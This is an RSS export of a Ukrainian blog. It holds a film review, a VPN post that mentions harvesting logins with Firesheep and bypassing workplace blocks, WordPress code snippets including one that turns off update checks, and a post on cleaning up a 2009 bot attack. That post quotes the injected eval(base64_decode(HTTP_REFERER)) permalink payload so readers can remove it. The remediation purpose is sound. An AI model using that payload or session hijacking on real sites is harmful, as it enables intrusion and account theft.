		<link>https://lilumi.org.ua/lytdybr/zvichayna-sprava</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Wed, 13 Feb 2013 10:10:27 +0000</pubDate>
				<category><![CDATA[Життєве]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=695</guid>

					<description><![CDATA[Мені завжди важко придумувати заголовки. Але не суть. Короче, на днях трапилося переглянути фільм «Звичайна справа». То був організований спец-показ для журналістів і блогерів. Перед самим фільмом пройшла прес-конференція з головним актором Тарасом Денисенком та менеджером фільму. Про прес-конференцію, в принципі, немає що розказувати — розмова шла про перспективи розвитку українського кіноматографу, але хто може...]]></description>
										<content:encoded><![CDATA[<p><a href="https://lilumi.org.ua/files/2013/02/rurcZ.jpg"><img loading="lazy" decoding="async" class="alignleft coolimg size-medium wp-image-699" title="Звичайна справа" src="https://lilumi.org.ua/files/2013/02/rurcZ-200x300.jpg" alt="" width="200" height="300" srcset="https://lilumi.org.ua/files/2013/02/rurcZ-200x300.jpg 200w, https://lilumi.org.ua/files/2013/02/rurcZ.jpg 640w" sizes="auto, (max-width: 200px) 100vw, 200px" /></a>Мені завжди важко придумувати заголовки. Але не суть. Короче, на днях трапилося переглянути фільм «Звичайна справа». То був організований спец-показ для журналістів і блогерів. Перед самим фільмом пройшла прес-конференція з головним актором Тарасом Денисенком та менеджером фільму. Про прес-конференцію, в принципі, немає що розказувати — розмова шла про перспективи розвитку українського кіноматографу, але хто може знати, що буде з українським кінематографом через 5-10 років?</p>
<p>А от сам фільм мені сподобався! Насамперед тим, що в ньому показується Україна такою, якою вона є, без прикрас. Головний герой живе в старій професорській трьохкімнатній квартирі, яка у стані перманентного ремонту. В нас півукраїни живе в таких умовах &#8211; де лише двері стоять нові-броньовані, а відкриєш двері і побачиш все те, що було в квартирах зразка восьмидесятих: старі меблі, старі шафи з дсп, умивальник емальований і т.д. А чого варті кадри з місця роботи головного героя Толіка — психіатричний диспансер, організований в якійсь дореволюційній будівлі, що з тих пір не бачила ні реставрації, ані бодай якогось ремонту.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-698" title="фільм «Звичайна справа»" src="https://lilumi.org.ua/files/2013/02/zvu4.png" alt="" width="630" height="341" srcset="https://lilumi.org.ua/files/2013/02/zvu4.png 630w, https://lilumi.org.ua/files/2013/02/zvu4-300x162.png 300w" sizes="auto, (max-width: 630px) 100vw, 630px" /><br />Сам же Толік є лікарем-психіатром, який ходить на роботу ну точно не заради зарплати. І його дружина, яка є актрисою, працює в театрі юного глядача, також не може відкласти зі своєї зарплати на ремонт, чи бодай на пристойну машину. Тому, коли Толю звільняють з роботи, йому приходиться &#8220;крутитися&#8221;, пробувати себе в інших ролях на інших роботах. Доходить навіть до безглуздого &#8211; торгувати курячим послідом. <br />В фільмі мені дуже сподобалась сцена з роздумами на тему дитячих казок: що ментальність людей формується на базі почутих та прочитаних в дитинстві казок, а в різних країнах, акценти були різними: в Англії персонажі казок були дуже роботящими та завзятими і саме це помагало стати їм успішними, у французьких казках герої відзначались розумом та хитрістю, а в українських — герой лежав на печі і чекав дива.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-701" title="sprava2" src="https://lilumi.org.ua/files/2013/02/sprava2.png" alt="" width="630" height="527" srcset="https://lilumi.org.ua/files/2013/02/sprava2.png 630w, https://lilumi.org.ua/files/2013/02/sprava2-300x250.png 300w" sizes="auto, (max-width: 630px) 100vw, 630px" /></p>
<p>Операторська робота в цьому фільмі теж на висоті &#8211; кадри з вороном та крупні плани обличь влучно вжиті, багато статичних кадрів, через які складається враження, що це не фільм, а вистава в театрі. Також кльова сцена очікування співбесіди, та самої співбесіди на роботу копірайтера. Знято на аналогову плівку, що дає &#8220;тепле, лампове відчуття&#8221;, а згадайте любий сучасний російський серіал знятий на &#8220;цифру&#8221; &#8211; там від однієї картинки блювати хочеться.<br />От про звуковий ряд не можу нічого сказати &#8211; я його щось зовсім не помітив, окрім сцени подій в дискотеці. Можливо на повторному перегляді зверну увагу, бо розказав про цей фільм своїй дівчині і вона також захотіла на нього сходити в кінотеатр. <br />Так що, рекомендую цей фільм до перегляду. Окрім цього, варто ж підтримати українського виробника, бо хочеться, щоб українських фільмів було більше.</p>
<p>[youtube w=560 h=349]http://www.youtube.com/watch?v=l7vFBqmaThg#![/youtube]</p>
<p>p.s. А з заголовком я таки переборщив, але то таке.<br />       А ще дякую за запрошення <a href="http://blog.golubovsky.com/zvychayna-sprava-bloggers/">Романові Голубовському</a>. </p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Захистіть себе в інтернеті та отримайте,  як бонус, доступ до заблокованих сайтів.</title>
		<link>https://lilumi.org.ua/lifehack/vpn-teleportation</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Wed, 31 Oct 2012 10:25:12 +0000</pubDate>
				<category><![CDATA[Лайфхаки]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=682</guid>

					<description><![CDATA[Ваш справжній IP-адрес ніхто не зможе вирахувати, якщо ви користуєтесь  VPN.  Сайти доступні тільки громадянам певних країн – будуть доступні і для вас. Також VPN унеможливить перехоплення ваших приватних повідомлень в інтернет-меседжерах.     Місяць тому, мій акаунт на сайті Вконтакті заблокували через розсилання спаму. Я був в шоці, бо не міг збагнути, як можна було зламати...]]></description>
										<content:encoded><![CDATA[<p style="border-left: 3px solid #000; padding: 0 0 0 10px; margin: 0 0 16px 5px;"><strong>Ваш справжній IP-адрес ніхто не зможе вирахувати, якщо ви користуєтесь  VPN.  Сайти доступні тільки громадянам певних країн – будуть доступні і для вас. Також VPN унеможливить перехоплення ваших приватних повідомлень в інтернет-меседжерах.</strong></p>
<p>    Місяць тому, мій акаунт на сайті Вконтакті заблокували через розсилання спаму. Я був в шоці, бо не міг збагнути, як можна було зламати мій згенерований пароль, який я навіть сам не пам’ятаю? Про те, що це вірус вкрав теж не може бути мови, адже я користуюсь MacOS. <br /> Після того як я відновив доступ до vk.com, в логах побачив, що моїм акаунтом дійсно користувались, причому з Японії та Індії 0 4-ій годині ранку. Проаналізувавши всі можливі варіанти, я дійшов висновку, що єдиним способом, яким могли дізнатись мої дані — було перехоплення трафіку wi-fi в кафешках. </p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-686" title="wifihack" src="https://lilumi.org.ua/files/2012/11/wifihack.jpg" alt="" width="630" height="362" srcset="https://lilumi.org.ua/files/2012/11/wifihack.jpg 630w, https://lilumi.org.ua/files/2012/11/wifihack-300x172.jpg 300w" sizes="auto, (max-width: 630px) 100vw, 630px" /><br /> Виявляється, для цього не потрібно бути навороченим хакером. Береш firefox, скачуєш плагін firesheep і під’єднуєшся до любої wi-fi точки в місті, де є багато користувачів. За годину часу можна зібрати чимало логінів-паролів тих людей, які користуються цією wi-fi точкою.<br /> Єдиний вихід з цієї ситуації &#8211; використання VPN, що завдяки шифруванню робить неможливим перехоплення трафіку.</p>
<p><span id="more-682"></span></p>
<h3>VPN як спосіб захисту своїх даних.</h3>
<p>Проаналізувавши декілька vpn-провайдерів, я вибрав VPN від сайту <a href="http://hideme.ru" rel="my">hideme.ru</a>.<br /> До слова, я вже колись писав про цей сайт, коли розказував про те, <a href="https://lilumi.org.ua/lilumi/anonymnyj-vhod-na-sajt-vkontakte-yly-odnoklassnyky-esly-na-rabote-zablokyrovaly-dostup">як отримати доступ до сайту Вконтакті</a>, коли його заблокували адміни на робочому місці. <br /> Так от, в hideme.ru можна вибрати один з 40-ка серверів vpn з великими пропускними каналами до 10Гбіт/c, на яких використовується 2048-бітний ключ шифрування. Географічно, ці сервери знаходяться в 28-ми різних країнах (нижче я розповім чому це важливо і як це використати з користю для себе).</p>
<p>Ви можете безкоштовно користуватись цим сервісом впродовж одного дня, а надалі – передплатити. З того, що вони пропонують, найвигідніший варіант передплати – це оплатити відразу на рік часу за 260 грн (тоді виходить один день за 0.71 грн)</p>
<h3>VPN, як спосіб обійти заборони на користування деякими сайтами</h3>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-685" title="hulu-vpn" src="https://lilumi.org.ua/files/2012/11/hulu-vpn.jpg" alt="" width="610" height="299" srcset="https://lilumi.org.ua/files/2012/11/hulu-vpn.jpg 610w, https://lilumi.org.ua/files/2012/11/hulu-vpn-300x147.jpg 300w" sizes="auto, (max-width: 610px) 100vw, 610px" /></p>
<p>Ось тепер поясню, чим класно, що можна вибрати VPN в якійсь конкретній країні. Я думаю, що у вас також були ситуації, коли вам кидали лінку на відео в ютубі, а ви його не могли переглянути, бо воно заблоковане для перегляду в вашій країні. Так от за допомогою VPN ви можете обійти цю заборону, вибравши сервер в тій країні, де це відео можна переглядати. </p>
<ul>
<li>Також можна переглядати відео та фільми на сайті ivi.ru,  використавши vpn з російського серверу.</li>
<li>Якщо ви подорожуєте закордоном, то вибравши український vpn сервер, можна дивитись фільми на fs.ua та слухати яндекс.музику.</li>
<li>А фанати перегляду серіалів в оригіналі зрадіють можливості дивитись їх на сайті fox.com завдяки vpn з американською ip-адресою.</li>
</ul>
<p>Ось іще кілька сайтів, для яких потрібен vpn, щоб повноцінно ними користуватись: spotify.com, hulu.com, last.fm.<br /> Я, наприклад, налаштував vpn на айподі, щоб слухати онлайн-радіо Spotify.</p>
<h3>VPN, як спосіб отримати доступ до сайту Вконтакті чи Однокласники на робочому місці.</h3>
<p style="padding-left: 30px;">Якщо у вас на робочому місці заблокований доступ до соц.мереж + заблокована можливість встановлювати софт та драйвери то є два способи як це обійти. <br />1. Використовувати, як і раніше, анонімайзер, або проксі-сервер. <br /> 2. Або спробувати задіяти vpn через PPTP за інструкцією, яку я знайшов  на youtube: <a href="http://www.youtube.com/watch?v=XZGrDTiNtIo">http://www.youtube.com/watch?v=XZGrDTiNtIo</a> . Бо інструкція, що на сайті hideme.ru підходить тільки в тому випадку, якщо у вас є права адміністратора на компі.</p>
<p>Другий спосіб я провіряв лише на windows XP і не знаю чи спрацює він і в windows 7 в умовах обмеженого облікового запису користувача. Хто матиме нагоду перевірити це, відпишіть в коментарях про результати.</p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Десяток корисних хаків для WordPress</title>
		<link>https://lilumi.org.ua/wordpress/10-wordpress-hacks</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Fri, 26 Nov 2010 15:54:21 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[functions.php]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wordpress hacks]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=671</guid>

					<description><![CDATA[Вирішив зібрати колекцію хаків та фішок, які я останнім часом часто використовую при створенні сайтів на WordPress. Брендована адмінка. Задача: Зробити вивід власного логотипу замість логотипу WordPress на сторінці логіну в адмінку, та в заголовку адмінки. Для виводу логотипу на сторінці логіну зкопіюйте цей код в файл functions.php вашої теми: function my_custom_login_logo() { echo '&#60;style...]]></description>
										<content:encoded><![CDATA[<p>Вирішив зібрати колекцію хаків та фішок, які я останнім часом часто використовую при створенні сайтів на WordPress.</p>
<h3>Брендована адмінка.</h3>
<p>Задача: Зробити вивід власного логотипу замість логотипу WordPress на сторінці логіну в адмінку, та в заголовку адмінки.</p>
<p>Для виводу логотипу на сторінці логіну зкопіюйте цей код в файл functions.php вашої теми:</p>
<pre><code class="php"><span class="keyword">function</span> my_custom_login_logo() {
    <span class="keyword">echo</span> <span class="string">'&lt;style type="text/css"&gt;
        html {background-color:#001721;}
        h1 a { background-image:url('</span>.get_bloginfo(<span class="string">'template_directory'</span>).<span class="string">'/images/logo.png) !important; } &lt;/style&gt;'</span>;
}

add_action(<span class="string">'login_head'</span>, <span class="string">'my_custom_login_logo'</span>);</code></pre>
<p>Цим самим ви замінюєте вивід логотипа на власний logo.png , що знаходиться в папці images вашої поточної теми. Як бачите, зміни стосуються лише css&#8217;у і ви можете туди додати ще свої стилі для інших елементів (я, наприклад, ще люблю поміняти фон під фірмові кольори та тінь додати яскравого кольору, щоб було як ефект м’ягкої підсвітки)</p>
<p>Ось приклади таких сторінок логіну:</p>
<p><a href="https://lilumi.org.ua/files/2010/11/login.jpg"><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-673" title="логін в адмінку" src="https://lilumi.org.ua/files/2010/11/login-600x184.jpg" alt="" width="600" height="184" /></a></p>
<p>А ось код, що змінить логотип в заголовку адмінки:</p>
<p><span id="more-671"></span></p>
<pre><code class="php"> <span class="keyword">function</span> my_custom_logo() {
    <span class="keyword">echo</span> <span class="string">'&lt;style type="text/css"&gt;#header-logo { background-image: url('</span>.get_bloginfo(<span class="string">'template_directory'</span>).<span class="string">'/img/clogo.png) !important; }&lt;/style&gt; '</span>;
    }
add_action(<span class="string">'admin_head'</span>, <span class="string">'my_custom_logo'</span>);</code></pre>
<p>Тут я теж люблю додавати стилі, щоб забрати заголовок сайту і зробити лого клікабельним. <a href="http://www.free-lance.ru/users/lilumi/viewproj.php?prjid=2063794">Приклад зміненої шапки адмінки</a></p>
<h3>Заміна тексту в футері адмінки</h3>
<p>Ще одна фішка, добавляє в футер адмінки дані про використану оперативку на хостингу і кількість запитів до MySQL та швидкість генерації сторінки:</p>
<pre><code class="php"><span class="keyword">function</span> usage(<span class="variable">$value</span>) {
	<span class="keyword">if</span> (<span class="variable">$value</span> == <span class="number">1</span>)
		<span class="keyword">echo</span> <span class="string">'&lt;div class="usage"&gt;'</span>;
	
	printf((<span class="string">'%d / %s'</span>), get_num_queries(), timer_stop(<span class="number">0</span>, <span class="number">3</span>));
	<span class="keyword">echo</span> <span class="string">' / '</span> . round(memory_get_usage()/<span class="number">1024</span>/<span class="number">1024</span>, <span class="number">2</span>) . <span class="string">' мб'</span>;
	
	<span class="keyword">if</span> (<span class="variable">$value</span> == <span class="number">1</span>)
		<span class="keyword">echo</span> <span class="string">'&lt;/div&gt;'</span>;
}
add_action(<span class="string">'admin_footer_text'</span>, <span class="string">'usage'</span>);</code></pre>
<p>Звичайно ви можете замінити це і в команді echo виводити якусь іншу інформацію.</p>
<h3>Видалення непотрібних блоків в &#8220;Майстерні&#8221;</h3>
<p>Наступний хак видаляє непотрібні блоки з головної сторінки адмінки, так званої &#8220;Майстерні&#8221; :</p>
<pre><code class="php"><span class="keyword">function</span> custom_dashboard() {
	<span class="keyword">global</span> <span class="variable">$wp_meta_boxes</span>;

	<span class="comment">//unset($wp_meta_boxes['dashboard']['normal']['core']['dashboard_right_now']);</span>
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'normal'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_recent_comments'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'normal'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_incoming_links'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'normal'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_plugins'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'side'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_quick_press'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'side'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_recent_drafts'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'side'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_primary'</span>]);
	<span class="keyword">unset</span>(<span class="variable">$wp_meta_boxes</span>[<span class="string">'dashboard'</span>][<span class="string">'side'</span>][<span class="string">'core'</span>][<span class="string">'dashboard_secondary'</span>]);
}
add_action(<span class="string">'wp_dashboard_setup'</span>, <span class="string">'custom_dashboard'</span>);</code></pre>
<p>В кожному рядку видаляється по одному блоку з &#8220;Майстерні&#8221;:</p>
<p>dashboard_recent_comments — свіжі коментарі<br />
 dashboard_incoming_links — вхідні посилання<br />
 dashboard_plugins — rss новин плагіни<br />
 dashboard_quick_press — швидка публікація<br />
 dashboard_recent_drafts — нещодавні чернетки<br />
 dashboard_primary — rss новини WordPress<br />
 dashboard_secondary — rss інші новини WordPress</p>
<p>Я зазвичай видаляю все окрім основного блоку &#8220;Прямо зараз&#8221;. На сайтах з включеною можливістю коментування ще залишаю блок &#8220;Свіжі коментарі&#8221;. Ви можете так само вибірково видалити непотрібні елементи, видаливши рядок, що відповідає йому.</p>
<h3>Видалення непотрібних блоків в head секції</h3>
<p>Наступний хак я використовую на сайтах-візитках де не потрібно rss і перелінковки між постами, так як основний контент йде на сторінках. Він видаляє купу непотрібних рядків в секції head коду html.</p>
<pre><code class="php">remove_action(<span class="string">'wp_head'</span>, <span class="string">'feed_links'</span>, <span class="number">2</span>); <span class="comment">//rss</span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'feed_links_extra'</span>, <span class="number">3</span>); <span class="comment">//atom </span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'index_rel_link'</span>); <span class="comment">// тут і нижче лінки для перелінковки сторінок</span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'adjacent_posts_rel_link_wp_head'</span>, <span class="number">10</span>, <span class="number">0</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'next_post_rel_link'</span>, <span class="number">10</span>, <span class="number">0</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'parent_post_rel_link'</span>, <span class="number">10</span>, <span class="number">0</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'rel_canonical'</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'start_post_rel_link'</span>, <span class="number">10</span>, <span class="number">0</span>);
remove_action(<span class="string">'wp_head'</span>, <span class="string">'rsd_link'</span>); <span class="comment">// лінка для трекбеків</span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'wlwmanifest_link'</span>); <span class="comment">// лінка для редактора Windows Live Writer</span>
remove_action(<span class="string">'wp_head'</span>, <span class="string">'wp_generator'</span>); <span class="comment">// тег, в якому пише версія вордпресу</span>
remove_action( <span class="string">'init'</span>, <span class="string">'wp_version_check'</span> ); <span class="comment">// видалення провірки оновлень</span>
remove_action( <span class="string">'load-plugins.php'</span>, <span class="string">'wp_update_plugins'</span> ); <span class="comment">// не провіряти оновлення плагінів</span>
remove_action( <span class="string">'load-update.php'</span>, <span class="string">'wp_update_plugins'</span> );
remove_action( <span class="string">'admin_init'</span>, <span class="string">'_maybe_update_plugins'</span> );
remove_action( <span class="string">'wp_update_plugins'</span>, <span class="string">'wp_update_plugins'</span> );
remove_action( <span class="string">'admin_init'</span>, <span class="string">'_maybe_update_themes'</span> ); <span class="comment">// не провіряти оновлення тем</span>
remove_action( <span class="string">'wp_update_themes'</span>, <span class="string">'wp_update_themes'</span> );
</code></pre>
<p>Використовувати це чи ні на вашому блозі це вже на ваш розсуд.</p>
<h3>Заборона вставляти лінки в коментарях</h3>
<p>Якщо ви не хочете, щоб лінки залишені коментаторами автоматично конвертувались в клікабельні посилання, то вставте цей код в functions.php:</p>
<pre><code class="php">remove_filter(<span class="string">'comment_text'</span>, <span class="string">'make_clickable'</span>, <span class="number">9</span>)</code></pre>
<p>&nbsp;</p>
<h3>Показувати повідомлення про нову версію вордпреса лише для адмінів</h3>
<pre><code class="php">< ?php
<span class="keyword">function</span> stop_wpupdate() {
<span class="keyword">if</span> ( current_user_can(<span class="string">'manage_options'</span>) ) {
<span class="keyword">return</span>;
} <span class="keyword">else</span> {
remove_action( <span class="string">'admin_notices'</span>, <span class="string">'update_nag'</span>, <span class="number">3</span> );
}
}
add_action( <span class="string">'admin_notices'</span>, <span class="string">'stop_wpupdate'</span>, <span class="number">1</span> );
<span class="preprocessor">?></span>
</code></pre>
<p>&nbsp;</p>
<h3>Кнопки видалення коментарів на сторінці посту</h3>
<p>Попередня фішка з показом повідомлень оновлень вордпресу для адмінів використовує функцію current_user_can яка визначає, чи має поточний юзер певні права. На основі цього я зробив фішку, що показує лінки на видалення коментарів і встановлення помітки &#8220;спам&#8221; для адміністраторів на сторінці посту. Цей код вставляєм в functions.php:</p>
<pre><code class="php"><span class="keyword">function</span> delete_comment_link(<span class="variable">$id</span>) {
  <span class="keyword">if</span> (current_user_can(<span class="string">'edit_post'</span>)) {
    <span class="keyword">echo</span> <span class="string">'| &lt;a href="'</span>.admin_url(<span class="string">"comment.php?action=cdc&amp;amp;c=$id"</span>).<span class="string">'"&gt;del&lt;/a&gt; '</span>;
    <span class="keyword">echo</span> <span class="string">'| &lt;a href="'</span>.admin_url(<span class="string">"comment.php?action=cdc&amp;amp;dt=spam&amp;amp;c=$id"</span>).<span class="string">'"&gt;spam&lt;/a&gt;'</span>;
  }
}</code></pre>
<p>А саму функцію delete_comment_link вставляєм в файл comments.php вашої теми після функції edit_comment_link :</p>
<pre><code class="php"><span class="preprocessor">&lt;?php</span> edit_comment_link(<span class="string">'Edit'</span>,<span class="string">''</span>,<span class="string">' '</span>); delete_comment_link(get_comment_ID());<span class="preprocessor">?&gt;</span></code></pre>
<p>&nbsp;</p>
<h3>Анонс постів з певної рубрики в сайдбарі</h3>
<p>В мене було завдання вивести в сайдбарі по першому реченню із трьох постів в рубриці &#8220;Проекти&#8221;. Я використав такий код в файлі sidebar.php :</p>
<pre><code class="php">     &lt;div <span class="keyword">class</span>=<span class="string">"sidenews"</span>&gt;
     <span class="preprocessor">&lt;?php</span> <span class="variable">$my_query</span> = <span class="keyword">new</span> WP_Query(<span class="string">'category_name=projects&amp;showposts=3'</span>);
     <span class="keyword">while</span> (<span class="variable">$my_query</span>-&gt;have_posts()) : <span class="variable">$my_query</span>-&gt;the_post(); <span class="preprocessor">?&gt;</span>
     &lt;h3&gt;&lt;a href=<span class="string">"&lt;?php the_permalink() ?&gt;"</span> title=<span class="string">"&lt;?php the_title(); ?&gt;"</span>&gt;<span class="preprocessor">&lt;?php</span> the_title(); <span class="preprocessor">?&gt;</span>&lt;/a&gt;&lt;/h3&gt;
     <span class="preprocessor">&lt;?php</span> preg_match( <span class="string">'/^.{150,}?[.?!]+(?=\s|$)/ '</span>, get_the_content(), <span class="variable">$A</span> );
                               <span class="keyword">echo</span> <span class="string">'&lt;p&gt;'</span>.<span class="variable">$A</span>[ <span class="number">0</span> ].<span class="string">'&lt;/p&gt;'</span>; <span class="preprocessor">?&gt;</span>   
     <span class="preprocessor">&lt;?php</span> <span class="keyword">endwhile</span>; <span class="preprocessor">?&gt;</span>
     &lt;p&gt;&lt;a href=<span class="string">"&lt;?php echo get_category_link('4') ?&gt;"</span>&gt;Все проекты&lt;/a&gt;&lt;/p&gt;
     &lt;/div&gt;
</code></pre>
<p>Використаний регулярний вираз шукає перше речення, але якщо це речення менше 150 символів, то вона захопить і наступні речення. Таким чином я уникнув помилки, коли в першому реченні зустрічається чиєсь прізвище чи адрес сайту.</p>
<h3>Вставка кнопки твітера Tweet</h3>
<p>Щоб появилась кнопка з підрахуноком кількості ретвітів потрібно вставити ось такий код в файл single.php вашої теми (наприклад після коду the_title(); ):</p>
<pre><code class="php">&lt;a href=<span class="string">"http://twitter.com/share"</span> <span class="keyword">class</span>=<span class="string">"twitter-share-button"</span> data-text=<span class="string">"&lt;?php the_title(); ?&gt;"</span> data-url=<span class="string">"&lt;?php the_permalink(); ?&gt;"</span> data-count=<span class="string">"horizontal"</span>&gt;Tweet&lt;/a&gt;<br />&lt;script type=<span class="string">"text/javascript"</span> src=<span class="string">"http://platform.twitter.com/widgets.js"</span>&gt;&lt;/script&gt;</code></pre>
<p>Це виведе горизонтальну кнопку з кількістю ретвітів з правої сторони. А щоб кількість ретвітів показувалось над кнопкою, то замініть <code>data-count="horizontal"</code> на <code>data-count="vertical"</code></p>
<p>Ну і наостанок маленький хак: щоб в редакторі постів зробити перенос рядка br потрібно натискати Shift+Enter</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Взломали ваш блог на Вордпресі. Не знаєте що робити? Тоді читайте!</title>
		<link>https://lilumi.org.ua/wordpress/defend-your-wordpress-blog-after-hack-attack</link>
		
		<dc:creator><![CDATA[lilumi]]></dc:creator>
		<pubDate>Sun, 06 Sep 2009 09:31:37 +0000</pubDate>
				<category><![CDATA[wordpress фішки]]></category>
		<category><![CDATA[hack wordpress]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[захисти свій блог]]></category>
		<category><![CDATA[оптимізація wordpress'у]]></category>
		<guid isPermaLink="false">http://lilumi.org.ua/?p=656</guid>

					<description><![CDATA[[tab:Українською] Вчора пройшла хвиля атаки і взлому блогів на вордпресі. А якщо погуглити, то можемо зробити висновок, що пострадали тисячі сайтів. Так в чому полягала суть? А суть в тому, що дехто запустив в мережу бота, що виявляв старі версії WordPress (до версії 2.8.4) і користуючись старим багом, реєстрував юзера і використовуючи певних шаблон посилання...]]></description>
										<content:encoded><![CDATA[<p>[tab:Українською]</p>
<p><a href="http://wordpress.org/support/topic/307518">Вчора</a> пройшла хвиля атаки і взлому блогів на вордпресі. А якщо <a href="http://tr.im/xYih">погуглити</a>, то можемо зробити висновок, що пострадали тисячі сайтів.</p>
<p><img loading="lazy" decoding="async" src="http://www.picamatic.com/show/2009/09/06/01/29/4981924_300x331.png" alt="захищаєм блог від хакерів" class="alignright" width="300" height="331" />Так в чому полягала суть? А суть в тому, що дехто запустив в мережу бота, що виявляв старі версії WordPress (до версії 2.8.4) і користуючись старим багом, реєстрував юзера і використовуючи певних шаблон посилання отримував адмінські права, потім під цим юзером міняв шаблон ЧПУ в налаштуваннях, а далі модифікував (заражав) код теми, щоб підсовувати відвідувачам вірус чи ще якусь фігню.</p>
<p>І хоч мій блог досі працює на одній із старих версій вордпресу, але його ця напасть минувала. А все тому, що бот визначав версію блога по мета-тегу, що автоматом прописує вордпрес в усі теми, а я цей тег давним давно в себе видалив. Про те, як видалити цей тег, я писав раніше в статті: <a href="https://lilumi.org.ua/wordpress/wordpress-korisni-funkciyi-v-functionsphp">корисні функції в functions.php</a> — раджу і вам таке зробити ;)</p>
<p>А тим, хто вже пострадав від цього віруса, черв&#8217;яка, бота (називайте як хочете) потрібно зробити:</p>
<ul>
<li>В налаштуваннях ЧПУ, поміняти з<br />
<code>/%postname%/%&({${evаl(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</code><br />
на<br />
<code>/%postname%/</code><br />
(у вас може відрізнятись структура, по аналогії я думаю зрозумієте :))</li>
<li>Найдіть останнього зареєстрованого користувача на вашому сайті і знищіть його! Швидше за все, це буде MikeWink E-mail: bugbeemershonyhe@gmail.com</li>
<li>Оновити WordPress до версії 2.8.4</li>
</ul>
<p><span id="more-656"></span></p>
<p>Але якщо немає бажання оновлюватись і хочете покращити безпеку свого блогу, ви можете заборонити всім доступ до адмінки окрім себе, за допомогою невеличкої правки .htaccess<br />
Звичайно, було б добре коли у вас постійний статичний IP-адрес, тоді тільки б його і вказали. А якщо у вас динамічна айпішка, то можете вказати діапазон<br />
Для цього зробіть наступне:</p>
<ul>
<li>зайдіть на сайт <a href="http://myip.ru">myip.ru</a> аби дізнатись ваш IP адрес (способів дізнатись зовнішній айпі дуже багато, я привів самий простий для блондинок). Ви наприклад побачили: ВАШ IP-АДРЕС: 91.134.98.173</li>
<li>створіть файл .htaccess в папці wp-admin вашого блогу і пропишіть там наступне:
<pre><code>AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 91.134.98.173
</LIMIT></code></pre>
<p>а якщо у вас динамічна айпішка, то краще напишіть так: </p>
<pre><code>
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
allow from 91.134.0.0/255.255.0.0
</LIMIT></code></pre>
<p>Детальніше про синтаксис директив Allow, Deny для Apache htaccess читайте <a href="http://httpd.apache.org/docs/1.3/mod/mod_access.html#allow">тут</a>.</li>
<li>Збережіть файл. Все.</li>
</ul>
<p>Тепер, до адмінки вашого блогу зможете потрапити лише ви з вашого комп&#8217;ютера. А якщо ви будете в дорозі, або в інтернет-кафе і захочете, зайти в адмінку блога, а вас не буде пускати (швидше за все, ви побачите помилку 404), бо айпішка не входить у вказаний діапазон, то тоді вам потрібно буде зайти по фтп на хостинг і тимчасово переіменувати файл .htaccess. І тут мабудь хтось з вас подумав: «<em>Це що, я ще й маю пароль на фтп пам&#8217;ятати для таких випадків?</em>» — Ну а що ви хотіли, прийдеться жертувати зручністю заради безпеки. Це як у відомій цитаті: «Так вам шашечки или ехать?!»</p>
<p>Бережіть себе і бережіть свій блог.</p>
<p>[tab:По русски]</p>
<p><a href="http://wordpress.org/support/topic/307518">Вчера</a> прошла волна атаки и взлома блогов на вордпрессе. И если <a href="http://tr.im/xYih">погуглить</a>, то можно судить, что пострадали тысячи блогов.</p>
<p>Но как все это произошло? А случилось вот что: кое-кто запустил в сеть бота, который находил старые версии WordPress (до версии 2.8.4) и пользуясь старым багом, регистрировал юзера и используя определенную ссылку получал права админа на блоге, потом под этим юзером менял шаблон ЧПУ в настройках, а далее модифицировал (заражал) код темы.</p>
